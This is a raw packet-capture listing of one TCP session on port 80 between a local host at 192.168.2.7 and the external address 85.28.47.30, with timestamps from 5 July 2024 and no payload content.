Jul 5, 2024 06:23:09.668025017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668086052 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668152094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668162107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668168068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668179989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668190002 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668199062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668201923 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668211937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668222904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668227911 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668235064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668245077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668256044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668267965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668275118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668287992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668293953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668293953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668302059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668309927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668313980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668325901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668335915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668340921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668349028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668349028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668349981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668363094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668381929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668386936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668405056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668414116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668421984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668421984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668431044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668442965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668446064 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668452978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668474913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668490887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668497086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668497086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668503046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668513060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668514967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668524981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668536901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668546915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668556929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668556929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668561935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668572903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668584108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668595076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668595076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668631077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668642044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668651104 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668651104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668663025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668675900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668679953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668690920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668692112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668703079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668713093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668723106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668725967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668725967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668735981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668746948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668756962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668766975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668776989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668782949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668782949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668801069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668811083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668812990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668812990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668823004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668832064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668840885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668853045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668864012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668864012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668869972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668880939 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668881893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668910027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668914080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668925047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668929100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668935061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668946028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668955088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668958902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668970108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668982029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.668984890 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.668996096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.669007063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.669039965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.669039965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753550053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753573895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753586054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753603935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753617048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753638983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753652096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753662109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753663063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753663063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753674984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753715038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753720999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753726959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753762007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753781080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753792048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753803015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753815889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753830910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753830910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753853083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753858089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753870010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753878117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753889084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753899097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.753909111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753909111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.753953934 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754000902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754019022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754030943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754040956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754055977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754057884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754067898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754080057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754091024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754091024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754091978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754106998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754134893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754182100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754187107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754194021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754209042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754226923 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754226923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754240036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754251003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754261971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754268885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754268885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754278898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754291058 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754292011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754312038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754323006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754328012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754328966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754333973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754345894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754357100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754374981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754379988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754379988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754390001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754400969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754409075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754415989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754426003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754436970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754446983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754451990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754451990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754466057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754478931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.754492998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754492998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.754537106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762027025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762080908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762135983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762149096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762224913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762231112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762231112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762238026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762265921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762317896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762331009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762331009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762342930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762370110 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762408972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762517929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762528896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762537956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762548923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762561083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762572050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762583017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762583017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762593031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762599945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762605906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762617111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762628078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762643099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762645960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762654066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762655973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762667894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762679100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762690067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762698889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762698889 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762703896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762713909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762722969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762727022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762741089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762759924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762762070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762769938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762779951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762790918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762800932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762811899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762811899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762814045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762831926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762842894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762844086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762852907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762865067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762875080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762876034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762876034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762896061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762907028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762916088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762916088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762917042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762931108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762943029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762948036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762959003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762980938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.762988091 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.762993097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763005018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763016939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763019085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763019085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763029099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763040066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763041019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763055086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763066053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763076067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763087034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763087988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763087988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763098001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763109922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763119936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763125896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763125896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763133049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763145924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763154984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763156891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763175011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763185024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763189077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763204098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763204098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763215065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763226986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763237953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763237953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763242960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763257027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763267994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.763276100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763277054 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.763314009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.847212076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.847234011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.847245932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.847258091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.847412109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.847515106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.847599030 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848021030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848082066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848170042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848182917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848228931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848228931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848496914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848546028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848639011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848697901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848797083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848809958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848851919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848896980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.848931074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.848978996 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.849119902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.849133015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.849167109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.849293947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.849344015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.849430084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.849482059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.849591970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.849636078 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.849731922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.849828005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.849868059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.849915028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.850038052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.850053072 CEST	80	49699	85.28.47.30	192.168.2.7
